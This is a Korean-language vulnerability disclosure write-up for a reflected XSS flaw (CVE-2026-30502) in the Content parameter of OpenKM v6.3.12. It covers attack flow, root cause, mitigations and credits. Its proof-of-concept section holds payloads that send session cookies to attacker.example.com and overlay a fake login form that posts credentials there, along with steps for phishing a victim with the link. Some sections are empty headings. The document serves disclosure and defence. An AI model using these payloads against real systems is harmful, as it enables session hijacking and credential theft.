🛡️ CVE-2026-30502 — OpenKM v6.3.12에서의 반사형 XSS

📌 목차

• 개요
• CVE 세부사항
• 영향 받는 제품
• 취약점 설명
• 근본 원인 분석
• 영향 및 위험 평가
• 개념 증명(PoC)
• 수정 및 권장 사항
• 공개 타임라인
• 참고 자료
• 연구원 소개

🔍 개요

이 저장소는 기업 및 정부 환경에서 널리 사용되는 오픈 소스 문서 관리 시스템인 OpenKM v6.3.12에서 식별된 반사형 XSS(Reflected Cross-Site Scripting) 취약점 CVE-2026-30502의 책임 있는 공개를 문서화합니다.

취약점은 Content 매개변수에 존재하며, 사용자가 제공한 입력을 적절한 살균 또는 출력 인코딩 없이 브라우저에 반영합니다. 공격자는 악성 JavaScript를 포함한 URL을 제작하고, 피해자를 속여 해당 링크를 클릭하도록 하여 피해자의 브라우저 세션 내에서 스크립트가 실행되도록 할 수 있습니다.

⚠️ 심각도: 중간–높음 | 공격 벡터: 네트워크 | 필요 권한: 없음 | 사용자 상호작용: 필요

📋 CVE 세부사항

📦 영향 받는 제품

OpenKM은 비즈니스 문서를 관리, 감사 및 배포하기 위한 웹 인터페이스를 제공하는 무료 오픈 소스 문서 관리 시스템(DMS)입니다. 전 세계 기업, 정부 기관, 교육 기관에서 사용됩니다.

• 제품명: OpenKM 문서 관리 시스템
• 영향 받는 버전: v6.3.12
• 공급업체 웹사이트: https://www.openkm.com
• 카테고리: 문서 관리 시스템 (DMS)
• 언어 / 스택: Java (JSP / Spring Framework)

🧨 취약점 설명

OpenKM v6.3.12에서 Content 매개변수를 통해 반사형 XSS(Reflected Cross-Site Scripting) 취약점이 식별되었습니다. 애플리케이션이 사용자 제공 입력을 HTTP 응답 본문에 반영하기 전에 검증하거나 인코딩하지 않아 임의의 JavaScript가 피해자의 브라우저에 주입 및 실행될 수 있습니다.

저장형 XSS와 달리 반사형 XSS 페이로드는 데이터베이스에 저장되지 않고, 조작된 URL에 포함되어 이동합니다. 이 공격은 피해자가 악성 링크(이메일, 소셜 미디어 또는 피싱 캠페인을 통해 전달)를 클릭하도록 속이는 것에 의존하며, 이후 페이로드가 피해자의 브라우저에서 피해자 세션 컨텍스트로 무음 실행됩니다.

공격 흐름

Attacker crafts malicious URL
        │
        ▼
Victim clicks the link (phishing / social engineering)
        │
        ▼
Browser sends GET/POST request with payload in `Content` parameter
        │
        ▼
OpenKM reflects unsanitized input directly into HTML response
        │
        ▼
Browser parses & executes injected JavaScript
        │
        ▼
Session hijacked / credentials harvested / account compromised

🔬 근본 원인 분석

취약점은 애플리케이션이 Content 매개변수에 대한 입출력 보안 제어를 적용하지 못한 데서 비롯됩니다:

User-Crafted URL ──► Content Parameter ──► [NO Validation]
       ──► Reflected in HTML Response ──► [NO Encoding]
              ──► Browser Executes Script ──► Account Compromised

💥 영향 및 위험 평가

이 취약점의 성공적인 악용은 다음으로 이어질 수 있습니다:

🧪 개념 증명(PoC)

⚠️ 면책 조항: 다음 정보는 책임 있는 공개 원칙에 따라 교육 및 보안 연구 목적으로만 공유됩니다. 귀하가 소유하지 않거나 명시적 서면 허가를 받지 않은 시스템에 대해 테스트하거나 사용하지 마십시오.

페이로드 예시 (일반)

// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Credential phishing overlay
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Username"/>'
    +'<input name="p" type="password" placeholder="Password"/>'
    +'<button>Sign In</button></form>';
  document.body.prepend(d);
</script>

조작된 악성 URL 구조

https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>

재현 단계

1. OpenKM v6.3.12에서 Content 매개변수를 반영하는 취약한 엔드포인트를 식별합니다.
2. Content 매개변수에 XSS 페이로드를 추가하여 URL을 조작합니다.
3. 필요한 경우 페이로드를 URL 인코딩합니다.
4. 조작된 링크를 이메일, 채팅 또는 기타 사회공학 벡터를 통해 피해자에게 전송합니다.
5. 피해자가 인증된 브라우저 세션에서 링크를 열면 페이로드가 실행됩니다.
6. JavaScript 실행, 쿠키 도용 또는 리디렉션 동작을 관찰합니다.

🛠️ 수정 및 권장 사항

개발자/공급업체용

시스템 관리자용

• 🔒 방화벽 규칙을 통해 OpenKM 접근을 내부/신뢰할 수 있는 네트워크로 제한합니다.
• 🛡️ XSS 탐지 서명이 있는 웹 애플리케이션 방화벽(WAF)을 보완 제어로 배포합니다.
• 📊 웹 서버 액세스 로그에서 쿼리 문자열의 예상치 못한 스크립트 태그나 인코딩된 페이로드를 모니터링합니다.
• 🔄 OpenKM 설치를 최신 보안 릴리스로 업데이트합니다.
• 📧 사용자에게 DMS에 대한 원치 않는 링크 클릭에 주의하도록 교육합니다.

📅 공개 타임라인

전체 과정 동안 공급업체 조정 및 CVE 프로그램 참여를 포함하여 완전한 책임 있는 공개 원칙이 준수되었습니다.

📚 참고 자료

• 🔗 MITRE CVE 항목 — CVE-2026-30502
• 🔗 NVD — 국가 취약점 데이터베이스
• 🔗 OpenKM 공식 웹사이트
• 🔗 OWASP XSS 방지 치트 시트
• 🔗 CWE-79: 크로스사이트 스크립팅
• 🔗 OWASP Top 10 — A03:2021 인젝션
• 🔗 OWASP Java Encoder

👨‍💻 연구원 소개

Dharmendra Kumar는 웹 애플리케이션 보안, 침투 테스트 및 책임 있는 취약점 공개를 전문으로 하는 독립적인 사이버 보안 연구원입니다. 그의 연구는 널리 사용되는 소프트웨어의 실제 보안 결함을 식별하고 책임 있게 보고하여 전 세계 사용자를 위한 더 안전한 애플리케이션에 기여하는 데 중점을 둡니다.

전문 분야:

• 🌐 웹 애플리케이션 침투 테스트
• 🐛 버그 바운티 헌팅 및 CVE 연구
• 🔍 취약점 발견 및 보안 권고
• 📋 책임 있는 공개 및 조정된 CVE 보고

연결하기:

⚖️ 법적 면책 조항

이 저장소는 오직 교육 및 정보 제공 목적으로 제공됩니다. 취약점 세부정보 및 개념 증명 페이로드는 책임 있는 공개 원칙에 따라 게시됩니다. 저자는 이 정보의 무단 사용을 용납하지 않으며 이에 대한 책임을 지지 않습니다. 귀하가 소유하지 않은 시스템에 대해 보안 테스트를 수행하기 전에 항상 명시적 서면 허가를 받으십시오.

🙏 감사의 말

다음 분들께 특별히 감사드립니다:

• 조정된 공개 기간 동안 협조와 대응을 보여준 OpenKM 개발 팀
• CVE 식별자를 할당하고 관리한 MITRE CVE 프로그램
• 애플리케이션 보안 기준을 지속적으로 높여가는 글로벌 보안 연구 및 버그 바운티 커뮤니티